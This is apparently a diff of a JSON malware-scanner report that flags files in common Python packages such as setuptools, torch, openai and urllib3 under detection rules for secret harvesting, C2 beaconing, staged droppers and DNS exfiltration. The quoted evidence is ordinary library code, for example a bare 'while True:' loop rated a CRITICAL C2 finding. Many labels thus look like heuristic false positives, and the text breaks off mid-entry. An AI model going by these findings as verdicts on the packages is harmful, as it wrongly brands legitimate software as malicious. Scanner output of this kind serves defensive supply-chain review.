"evidence_hash": "26acfc4bd3ab7973d7195e470afc660c89d34c8e0d32d3d8f15941db3e4acb8e" - }, - { - "package": "pygments", - "file": "pygments/formatters/__init__.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L38: mod = __import__(module_name, None, None, ['__all__'])\nExec: L103: exec(f.read(), custom_namespace)", - "evidence_hash": "8af02b2b951bb656fab606867ffab838490363a604f4773d08c1f40623678bd0" - }, - { - "package": "pygments", - "file": "pygments/lexers/__init__.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L45: mod = __import__(module_name, None, None, ['__all__'])\nExec: L154: exec(f.read(), custom_namespace)", - "evidence_hash": "8af02b2b951bb656fab606867ffab838490363a604f4773d08c1f40623678bd0" - }, - { - "package": "scikit-learn", - "file": "sklearn/externals/array_api_compat/torch/__init__.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L19: __import__(__package__ + '.linalg') | L20: __import__(__package__ + '.fft')\nExec: L12: exec(f\"{n} = torch.{n}\")", - "evidence_hash": "3167e0f828bc28964e5054786712d029e967fb8cacb40717978b7acafc68c1ea" - }, - { - "package": "scipy", - "file": "scipy/optimize/_optimize.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L4155: __import__(mod_name)\nExec: L323: def eval(x):", - "evidence_hash": "7935cfbe0634201c1ad7626bc38ae17c52cca968bbcfacea236f05c9576dcabd" - }, - { - "package": "setuptools", - "file": "pkg_resources/__init__.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L423: __import__(moduleOrReq) | L1739: code = compile(source, script_filename, 'exec') | L1750: script_code = compile(script_text, script_filename, 'exec') | L2562: __import__(parent) | L2785: module = __import__(self.module_name, fromlist=['__name__'], level=0)\nExec: L1740: exec(code, namespace, namespace) | L1751: exec(script_code, namespace, namespace)", - "evidence_hash": "ae52cd10e8d27abe5539a1e1abc11635cef6c2a68aba98579385d8d55271fcd4" - }, - { - "package": "setuptools", - "file": "setuptools/_distutils/compilers/C/base.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L1287: __import__(module_name)\nExec: L1114: if lib_type not in eval(expected):", - "evidence_hash": "368651e9818ed2d1bb009027d3bcfbf94ae30639c0882a6c2bddde97b8c4f1e5" - }, - { - "package": "setuptools", - "file": "setuptools/launch.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L31: code = compile(norm_script, script_name, 'exec')\nExec: L32: exec(code, namespace)", - "evidence_hash": "eae05adb1b163466a753f16be119072581011fa2a9f1cbd80d2e69ea3c7d20d9" - }, - { - "package": "setuptools", - "file": "setuptools/tests/config/test_pyprojecttoml.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L387: \"setup.py\": \"__import__('setuptools').setup(include_package_data=False)\",\nExec: L98: \"__main__.py\": \"def exec(): print('hello')\",", - "evidence_hash": "067d41014f72a61d8b4adf25f3659d1f66a0e909f732223f48837aa7684df4e6" - }, - { - "package": "setuptools", - "file": "setuptools/tests/test_editable_install.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L120: SETUP_SCRIPT_STUB = \"__import__('setuptools').setup()\"\nExec: L447: exec(finder, loc, loc)", - "evidence_hash": "a78d7f5af7eb4ba92656cda258c195b92f6337c585c97d0823e47a9d4a2eb15d" - }, - { - "package": "setuptools", - "file": "setuptools/wheel.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L35: NAMESPACE_PACKAGE_INIT = \"__import__('pkg_resources').declare_namespace(__name__)\\n\"\nExec: L191: def eval(req, **env): | L212: (req for req in reqs if for_extra(req) and eval(req, extra=extra)),", - "evidence_hash": "9c22b176a4660dcc5d3d16a78b1994e600707a6ee78eb413757e677dc3d903ce" - }, - { - "package": "six", - "file": "six.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L87: __import__(name)\nExec: L740: exec(\"\"\"exec _code_ in _globs_, _locs_\"\"\")", - "evidence_hash": "3cb7d8247dea7dd3d7b21ededc0181c58c50099aeb73c9138a286f3d1ad92d4f" - }, - { - "package": "sympy", - "file": "sympy/external/importtools.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L145: mod = __import__(module, **import_kwargs) | L154: __import__(module + '.' + submod)\nExec: L21: return eval(debug_str)", - "evidence_hash": "bae3d873046013ecbe4fb6b4dd707d55593bc85436779063a4792c817323f7ce" - }, - { - "package": "sympy", - "file": "sympy/plotting/experimental_lambdify.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L249: namespace.update({'math': __import__('math')}) | L251: namespace.update({'cmath': __import__('cmath')}) | L254: namespace.update({'np': __import__('numpy')}) | L259: namespace.update({'imath': __import__(\nL260: 'sympy.plotting.intervalmath', fromlist=['intervalmath'])}) | L261: namespace.update({'math': __import__('math')})\nExec: L268: exec(\"MYNEWLAMBDA = %s\" % eval_str, namespace)", - "evidence_hash": "a2cf99a96863e82c132ede769f9277f642f283c70e9db637b0a9b949186343cf" - }, - { - "package": "sympy", - "file": "sympy/utilities/lambdify.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L919: c = compile(funcstr, filename, 'exec')\nExec: L163: module = eval(import_command) | L170: exec(import_command, {}, namespace) | L903: exec(ln, {}, namespace) | L909: exec(ln, {}, namespace) | L920: exec(c, namespace, funclocals)", - "evidence_hash": "ab4f5819576a70038301668b8f3e4a781c4b757b146117d5d93eab1896a5a6cd" - }, - { - "package": "tensorboard", - "file": "tensorboard/plugins/projector/tf_projector_plugin/projector_binary.js", - "check": "Python wheel ships large JS bundle (uncommon; manually review)", - "severity": "HIGH", - "evidence": "sha256: 53c38430766be25dc672a30846ac3b9eba86aee35eb0746785ec012647c7d9a2", - "evidence_hash": "2c6384e8115a6d5dacf1f84d8f724832d8dc59feb442bb98ffae0857c0ccb381" - }, - { - "package": "torch", - "file": "torch/_dynamo/bytecode_debugger.py", - "check": "Anti-analysis/sandbox evasion + suspicious behavior", - "severity": "HIGH", - "evidence": "Anti: L1052: self._old_trace = sys.gettrace() | L1053: sys.settrace(self._settrace_callback) | L1113: sys.settrace(self._old_trace)\nExec: L684: result = eval(arg, frame_globals, eval_locals) | L709: result = eval(cmd, frame_globals, eval_locals) | L717: exec(cmd, frame_globals, eval_locals)", - "evidence_hash": "dc2afd1769d357c15b69802bd2799fafa059c0b1dcdd4937528fb5b601962f1b" - }, - { - "package": "torch", - "file": "torch/_functorch/_aot_autograd/subclass_codegen.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L342: code = compile(source, f\"<{artifact_name}>\", \"exec\")\nExec: L344: exec(code, globals_dict, local_dict)", - "evidence_hash": "b3c8fac5f30b611618085c8fa146ab48c9e00defba83aa4df2e3a570db00bf67" - }, - { - "package": "torch", - "file": "torch/fx/experimental/rewriter.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L44: code = compile(dest_ast, \"\", \"exec\")\nExec: L47: exec(code, globals_dict)", - "evidence_hash": "76374f96feed416eec390458843621f33524cfb8d93ef0f3eb4cb1b47d0ad748" - }, - { - "package": "torch", - "file": "torch/fx/graph_module.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L106: exec(compile(src, key, \"exec\"), globals)\nExec: L106: exec(compile(src, key, \"exec\"), globals)", - "evidence_hash": "db35f4d5ce3b1ad6466e6438be3f2a1806e83ca95edb020eb9869e6cc6080a15" - }, - { - "package": "torch", - "file": "torch/package/package_importer.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L599: def __import__(self, name, globals=None, locals=None, fromlist=(), level=0):\nExec: L412: exec(code, ns)", - "evidence_hash": "c7c0650f0c74a086d224112f77ee76634b8f47afc047ce27fee8c7fc45560512" - }, - { - "package": "triton", - "file": "triton/runtime/interpreter.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L1435: compiled_code = compile(transformed_ast, filename=self.filename, mode='exec')\nExec: L1441: exec(compiled_code, fn_globals, local_namespace)", - "evidence_hash": "ccde8f3fb7193b8004d8042fe1de107f19ab5f540300024ec43f9c0047c2a711" - }, - { - "package": "unsloth-zoo", - "file": "tests/test_compiler_dynamic_exec.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L126: code = compile(source, f\"<{entry_point}>\", \"exec\")\nExec: L134: exec(code, sandbox)", - "evidence_hash": "85af0176d2a3662e7c269f7a397cca8d92eb79eb6d106b3e58a54c7a102cef69" - }, - { - "package": "unsloth-zoo", - "file": "tests/test_fused_forward_install.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L268: code = compile(src, fake_path, \"exec\")\nExec: L269: exec(code, namespace)", - "evidence_hash": "0bd08f4d68c9f3bf3dd91d3351a4c7a6c44c2f494c70776750e821fbbbad4faa" - }, - { - "package": "unsloth-zoo", - "file": "tests/test_mlx_trainer_internals.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L1158: assert ppl == pytest.approx(__import__(\"math\").exp(2.5))\nExec: L1136: def eval(self):", - "evidence_hash": "c409327ef6420cc0c7224506fcb82b11bbc9838a6f2f97c9c2cfc00a40c4cdbf" - }, - { - "package": "unsloth-zoo", - "file": "tests/test_upstream_pinned_symbols_trl_vllm.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L379: mod = __import__(modpath, fromlist=[\"Logprob\"])\nExec: L238: \"unsloth_zoo dispatch via `eval(f'trl.trainer.{trainer_file}.{name}')` breaks\"", - "evidence_hash": "ffcaf5f1fd295f3d6e9b59d792392e22e3e4a1eb8c494edd82f815d90323ae55" - }, - { - "package": "unsloth-zoo", - "file": "unsloth_zoo/compiler.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L1013: _mod = __import__(model_location, fromlist=items) | L4295: f\" {chr(92)}{chr(92)} /| Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL4296: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL4297: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL4298: f' \"-____-\" Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L4296: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL4297: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL4298: f' \"-____-\" Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L4295: f\" {chr(92)}{chr(92)} /| Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL4296: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL4297: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nExec: L612: if eval(_dtype) is not None: | L613: dtype = eval(_dtype) | L955: _modeling_file = eval(model_location) | L1255: f = eval(f\"{model_location}.{module}\") | L1563: exec(f\"def raise_{j}(*args, **kwargs): print('{function}')\", globals(), locals()) | L1564: try: exec(f\"EMPTY_LOGITS.{function} = raise_{j}\", globals(), locals()) | L2699: exec(f\"import {parent}\", locals(), globals()) | L2830: dir(eval(parent)), | L2834: exec(f\"{parent}.{child}.forward = forward\", globals(), locals()) | L2908: module = eval(f\"modeling_file.{module}\") | L2935: inner_class = eval(f\"modeling_file.{inner_class}\") | L3065: exec(f\"from timm.layers.norm_act import {norm}\") | L3073: forward = eval(norm).forward | L3079: exec(f\"timm.layers.norm_act.{norm}.forward = forward\") | L3096: exec(f\"from timm.models._efficientnet_blocks import {block}\") | L3104: forward = eval(block).forward | L3110: exec(f\"timm.models._efficientnet_blocks.{block}.forward = forward\") | L3389: exec(f\"import {model_location}\", globals()) | L3392: modeling_file = eval(model_location) | L3405: exec(\nL3406: \"model_logger.addFilter(HideLoggingMessage('`use_cache`'))\", globals(), locals()\nL3407: ) | L3409: exec(\nL3410: \"model_logger.addFilter(HideLoggingMessage('compile_config'))\",\nL3411: globals(),\nL3412: locals(),\nL3413: ) | L3564: source = eval(f\"modeling_file.{module}\") | L3578: source = eval(f\"modeling_file.{module}\") | L3679: source = eval(f\"modeling_file.{module}\") | L3717: source = eval(f\"{model_location}.{module}\") | L3788: source = eval(f\"{model_location}.{module}\") | L3836: source = eval(f\"{model_location}.{module}\") | L4058: source = eval(f\"{model_location}.{module}\") | L4069: exec(\nL4070: f\"{model_location}.{module}._update_causal_mask = no_update_causal_mask\",\nL4071: globals(),\nL4072: ) | L4135: source = eval(f\"{model_location}.{module}\") | L4176: module_cls = eval(f\"{model_location}.{module}\") | L4213: module_cls = eval(f\"{model_location}.{module}\") | L4280: exec(\nL4281: \"from transformers.trainer import (\" + \", \".join(x for x in good_items) + \")\",\nL4282: globals(),\nL4283: ) | L4345: exec(inner_training_loop, globals()) | L4353: function = eval(f\"{model_location}.{module}\") | L4431: function = eval(f\"{model_location}.{module}\") | L4566: source = eval(f\"{model_location}.torch\") | L4573: function = eval(f\"source.nn.{module}\") | L4632: exec(\nL4633: f\"{model_location}.torch.nn.{module}.forward = forward\",\nL4634: globals(),\nL4635: locals(),\nL4636: ) | L4638: exec(\nL4639: f\"{model_location}.nn.{module}.forward = forward\",\nL4640: globals(),\nL4641: locals(),\nL4642: ) | L4646: exec(\nL4647: f\"combined_module.torch.nn.{module}.forward = forward\",\nL4648: globals(),\nL4649: locals(),\nL4650: ) | L4652: exec(\nL4653: f\"combined_module.nn.{module}.forward = forward\",\nL4654: globals(),\nL4655: locals(),\nL4656: ) | L4673: exec(\nL4674: f\"{model_location}.{module} = combined_module.{module}\",\nL4675: globals(),\nL4676: locals(),\nL4677: ) | L4687: check_dicts = dir(eval(f\"{model_location}\")) | L4689: item = eval(f\"{model_location}.{check}\") | L4699: exec(\nL4700: f\"{model_location}.{check}['{key}'] = combined_module.{replaced_class}\",\nL4701: globals(),\nL4702: locals(),\nL4703: )", - "evidence_hash": "ec1875fd32d00fe885e566ebda75163e46e838ca31020abb57e0991892c2bdf7" - }, - { - "package": "unsloth-zoo", - "file": "unsloth_zoo/fused_losses/forward_install.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L274: code = compile(new_src, synthetic_path, \"exec\")\nExec: L275: exec(code, ns)", - "evidence_hash": "33b0c2ba90758a5ed84578c1d03364cb307f393e9fbb1da370ae06991e0dc7c4" - }, - { - "package": "unsloth-zoo", - "file": "unsloth_zoo/mlx/loader.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L2869: _mod = __import__(module_name, fromlist=[\"_\"])\nExec: L148: mx.eval(model.parameters()) | L180: mx.eval(model.parameters()) | L732: mx.eval(model.parameters()) | L733: mx.eval(mx.distributed.all_sum(mx.array(1.0), stream=mx.cpu)) | L799: mx.eval(model.parameters()) | L802: mx.eval(mx.distributed.all_sum(mx.array(1.0), stream=mx.cpu)) | L2673: model.eval() | L3256: mx.eval(model.parameters()) | L3372: mx.eval(module.weight) | L5666: mx.eval(model.parameters()) | L5716: mx.eval(model.parameters()) | L5859: mx.eval(model.parameters())", - "evidence_hash": "7b44760032c5df6d379ccfdd0bff3d23f857f64e08210fa0fba8d2881d457634" - }, - { - "package": "unsloth-zoo", - "file": "unsloth_zoo/patching_utils.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L706: compile(new_source, '', 'exec')\nExec: L221: try: exec(_try_compile_argument) | L226: try: exec(_try_dynamo_argument) | L570: exec(\"from torch._dynamo.compiled_autograd import (\" + \", \".join(x for x in good_items) + \")\", globals()) | L571: exec(source, globals()) | L596: exec(\"from torch._dynamo.variables.misc import (\" + \", \".join(x for x in good_items) + \")\", globals()) | L597: exec(source, globals()) | L686: exec(f\"from transformers.integrations.bitsandbytes import ({x})\", globals()) | L749: exec(source, globals())", - "evidence_hash": "f4c3d4a58360b4572b174f74d5250b661bb6b9ac942a07cca49cd42c23baf4c2" - }, - { - "package": "unsloth-zoo", - "file": "unsloth_zoo/saving_utils.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L4015: module = __import__('transformers', fromlist=[model_class_name])\nExec: L3897: exec(f\"from transformers.modeling_utils import ({', '.join(functions)})\", locals(), globals()) | L3943: exec(save_pretrained, globals(), functions)", - "evidence_hash": "530b2383acd9fe8330aa65cd0bf86164aaacd47770e7c8d0752195bee36396ec" - }, - { - "package": "werkzeug", - "file": "werkzeug/routing/rules.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L836: code = compile(module, \"\", \"exec\")\nExec: L736: exec(code, globs, locs)", - "evidence_hash": "5c0992c90f05c772abd94d00784f157de337e1f8567f8b3aee1b15e46c96cd5d" + "evidence": "L67: input_gguf=\"/tmp/in.gguf\"," }, { "package": "unsloth-zoo", "file": "tests/test_mlx_save_export_regressions.py", "check": "Writes to /tmp and executes (staged dropper)", "severity": "CRITICAL", - "evidence": "L165: temporary_location=\"/tmp/ignored\", sha256:ab5c587f9ec31a0cc10ee55698ab133a417148d9d3f371bbc81b1e13fa119c13", - "evidence_hash": "93a11159147aad94f353ec4d2e0b8486b256abef88cd96d741813222cd32b138" + "evidence": "L164: temporary_location=\"/tmp/ignored\"," }, { "package": "unsloth-zoo", - "file": "tests/test_vision_collator_audio.py", - "check": "Writes to /tmp and executes (staged dropper)", + "file": "tests/test_upstream_pinned_symbols_transformers.py", + "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", - "evidence": "L111: out = extract_audio_info(msgs({\"type\": \"audio\", key: \"/tmp/a.wav\"})) sha256:2efe23ffbe2b91b8403aec9b700736919b59e5ca770f8e1f5501651b44b7d398", - "evidence_hash": "d416b79dd17b24214f3f7653ac01354507d7bf0fc464dee30a4a4b8998f063ba" - }, - { - "package": "openai", - "file": "openai/_base_client.py", - "check": "C2 polling/beaconing loop detected", - "severity": "CRITICAL", - "evidence": "L274: while True: sha256:90a38e5c1e26893c7c273354143612640e9a9c0f079d3e2b60612d79f24e80a6", - "evidence_hash": "1022e8e8649436ec64a98a9d9141d085452c49549fd2157b0278fc369a83ac66" - }, - { - "package": "openai", - "file": "openai/auth/_workload.py", - "check": "Accesses cloud metadata/IMDS AND makes network calls", - "severity": "CRITICAL", - "evidence": "IMDS: L97: url = \"http://169.254.169.254/metadata/identity/oauth2/token\" | L150: url = \"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/identity\"\nNetwork: L78: http_client: httpx.Client | None = None, | L109: with httpx.Client() as client: | L134: http_client: httpx.Client | None = None, | L156: with httpx.Client() as client: | L251: exchange_client = DefaultHttpx2Client(follow_redirects=False) if self._use_httpx2 else httpx.Client()", - "evidence_hash": "9717e51cb961dc14c458955d91a1e48e3753997346ecea0106bded3a8d64bfe0" - }, - { - "package": "openai", - "file": "openai/resources/beta/responses/responses.py", - "check": "C2 polling/beaconing loop detected", - "severity": "CRITICAL", - "evidence": "L4000: while True: sha256:f8ab538118daba9ec06e27399dbdc90a4521c3390e6a47a6348a1f180a83effd", - "evidence_hash": "31481ea83c687acc27144d72d3832d4fb98dd1c79fb5e0ddd85080de95997b9f" - }, - { - "package": "openai", - "file": "openai/resources/realtime/realtime.py", - "check": "C2 polling/beaconing loop detected", - "severity": "CRITICAL", - "evidence": "L311: while True: sha256:5b63313072aae9ca28677e03426513ccf12221e4f4e0ea6c31efbe09790633b5", - "evidence_hash": "05e1af469d651b51673763a7c4cdf759af9472fb627b7b470adc28cc237bd650" - }, - { - "package": "openai", - "file": "openai/resources/responses/responses.py", - "check": "C2 polling/beaconing loop detected", - "severity": "CRITICAL", - "evidence": "L3951: while True: sha256:d68ef896bf0743ca430cfacb9a3353da1f3b9c51c3a21b6450a07a32b55aa2ac", - "evidence_hash": "160eecdd79b521bffbe8476f782b69a0724c35d1b19376a7600807165fd54f9f" + "evidence": "Env: L60: token = os.environ.get(\"GITHUB_TOKEN\") or os.environ.get(\"GH_TOKEN\")\nNetwork: L30: import urllib.request | L59: req = urllib.request.Request(url) | L64: with urllib.request.urlopen(req, timeout=15) as r:" }, { "package": "unsloth-zoo", - "file": "tests/test_gemma4_forced_float32_ple_dtype.py", + "file": "unsloth_zoo/device_type.py", + "check": "Harvests environment variables/secrets AND makes network calls", + "severity": "CRITICAL", + "evidence": "Env: L137: value = os.environ.get(key, \"\")\nNetwork: L37: import urllib.request | L82: request = urllib.request.Request( | L87: with urllib.request.urlopen(request, timeout = 2.5) as response:" + }, + { + "package": "unsloth-zoo", + "file": "unsloth_zoo/llama_cpp.py", + "check": "Creates archive with sensitive data AND makes network calls", + "severity": "CRITICAL", + "evidence": "Archive: L847: with tarfile.open(archive_path, \"r:gz\") as archive:\nNetwork: L657: response = requests.get(url, timeout = timeout, headers = headers, stream = stream) | L1546: response = requests.get( | L2694: check = requests.get(llama_cpp_" + }, + { + "package": "unsloth-zoo", + "file": "unsloth_zoo/llama_cpp.py", + "check": "Harvests environment variables/secrets AND makes network calls", + "severity": "CRITICAL", + "evidence": "Env: L125: keynames = \"\\n\" + \"\\n\".join(os.environ.keys()) | L649: token = os.environ.get(\"GH_TOKEN\") or os.environ.get(\"GITHUB_TOKEN\")\nNetwork: L657: response = requests.get(url, timeout = timeout, headers = headers, stream = stream) | L154" + }, + { + "package": "urllib3", + "file": "urllib3/response.py", + "check": "Enumerates filesystem AND makes network calls", + "severity": "CRITICAL", + "evidence": "FS: L557: if retries is not None and retries.history:\nNetwork: L13: from http.client import HTTPMessage as _HttplibHTTPMessage | L14: from http.client import HTTPResponse as _HttplibHTTPResponse | L1403: \"Body should be http.client.HTTPResp" + }, + { + "package": "urllib3", + "file": "urllib3/util/ssl_.py", + "check": "Harvests environment variables/secrets AND makes network calls", + "severity": "CRITICAL", + "evidence": "Env: L318: sslkeylogfile = os.path.expandvars(os.environ.get(\"SSLKEYLOGFILE\"))\nNetwork: L329: sock: socket.socket, | L347: sock: socket.socket, | L364: sock: socket.socket," + }, + { + "package": "attrs", + "file": "attr/_make.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L277: compile(rewritten + _GEMMA4_PLE_CAST_HELPER, \"\", \"exec\") | L440: compile(on, \"\", \"exec\") | L468: compile(generated, \"\", \"exec\")\nExec: L19: exec(_GEMMA4_PLE_CAST_HELPER, namespace)", - "evidence_hash": "a85e24d8e7c431563cbd83b70f91a3b971abde0f37083d68e70984147960cc70" + "evidence": "Obfusc: L226: bytecode = compile(script, filename, \"exec\") | L1632: hash_def += \", _cache_wrapper=__import__('attr._make')._make._CacheHashWrapper):\"\nExec: L227: eval(bytecode, globs, locs)" + }, + { + "package": "beartype", + "file": "beartype/_util/func/utilfuncmake.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L271: func_code_compiled = compile(func_code, func_filename, 'exec')\nExec: L278: exec(func_code_compiled, func_globals, func_locals)" + }, + { + "package": "botocore", + "file": "botocore/vendored/six.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L87: __import__(name)\nExec: L735: exec(\"\"\"exec _code_ in _globs_, _locs_\"\"\")" + }, + { + "package": "cffi", + "file": "cffi/setuptools_ext.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L25: code = compile(src, filename, 'exec')\nExec: L26: exec(code, glob, glob)" + }, + { + "package": "ddgs", + "file": "ddgs/dht/libp2p_client.py", + "check": "DNS exfiltration / tunneling patterns", + "severity": "HIGH", + "evidence": "L15: import dns.resolver | L63: logger.debug(\"dnspython not installed, skipping dnsaddr resolution\") | L67: answers = dns.resolver.resolve(f\"_dnsaddr.{dnsaddr_domain}\", \"TXT\")" + }, + { + "package": "dill", + "file": "dill/_dill.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L595: return marshal.loads(string) | L1011: module = __import__(names[0]) | L1061: submodule = getattr(__import__(module, None, None, [obj]), obj)\nExec: L979: return eval(repr_str) | L1037: return eval(attr+'.__dict__[\"'+name+'\"]')" + }, + { + "package": "dill", + "file": "dill/source.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L394: lines, lnum = [\"%s = __import__('%s', fromlist=['%s']).%s\\n\" % (name,module,name,name)], 0\nExec: L60: _ = eval(\"lambda %s : %s\" % (lhs,rhs), globals(),locals()) | L82: _f = eval(\"lambda %s : %s\" % (_lhs,_rhs), globals(),locals" + }, + { + "package": "dnspython", + "file": "dns/query.py", + "check": "DNS exfiltration / tunneling patterns", + "severity": "HIGH", + "evidence": "L142: import dns.resolver | L144: resolver = dns.resolver.Resolver() | L414: resolver: Optional[\"dns.resolver.Resolver\"]," + }, + { + "package": "execnet", + "file": "execnet/gateway_base.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L1290: co = compile(source + \"\\n\", file_name or \"\", \"exec\")\nExec: L1291: exec(co, loc)" + }, + { + "package": "execnet", + "file": "execnet/script/socketserver.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L63: co = compile(source + \"\\n\", \"\", \"exec\")\nExec: L45: exec( | L47: exec(source, locs)\"\"\" | L61: source = eval(source)" + }, + { + "package": "fastmcp-slim", + "file": "fastmcp/server/auth/providers/jwt.py", + "check": "Embedded cryptographic key + network calls (encrypted exfil pattern)", + "severity": "HIGH", + "evidence": "Key: L187: \"-----BEGIN PUBLIC KEY-----\", | L188: \"-----BEGIN RSA PUBLIC KEY-----\",\nNetwork: L225: http_client: httpx.AsyncClient | None = None, | L411: else httpx.AsyncClient(timeout=httpx.Timeout(10.0))" + }, + { + "package": "ipython", + "file": "IPython/core/debugger.py", + "check": "Anti-analysis/sandbox evasion + suspicious behavior", + "severity": "HIGH", + "evidence": "Anti: L960: trace_function = sys.gettrace() | L961: sys.settrace(None) | L973: sys.settrace(trace_function)" + }, + { + "package": "ipython", + "file": "IPython/core/debugger.py", + "check": "exec/eval with payload hidden in a docstring/string", + "severity": "HIGH", + "evidence": "marshal/compile/obfuscation: L310: # needed by any code which calls __import__(\"__main__\") after" + }, + { + "package": "ipython", + "file": "IPython/core/debugger_backport.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L79: code = compile(source, \"\", \"exec\")\nExec: L130: exec(source_with_closure, {}, ns) | L138: exec(code, globals, locals_copy, closure=cells) | L200: exec(code, globals, locals)" + }, + { + "package": "ipython", + "file": "IPython/core/magics/execution.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L1178: self.shell.compile(ast_setup, \"\", \"exec\") | L1179: self.shell.compile(ast_stmt, \"\", \"exec\") | L1200: code = self.shell.compile(timeit_ast, \"\", \"exec\")\nExec: L1213: exec(cod" + }, + { + "package": "ipython", + "file": "IPython/core/magics/execution.py", + "check": "Anti-analysis/sandbox evasion 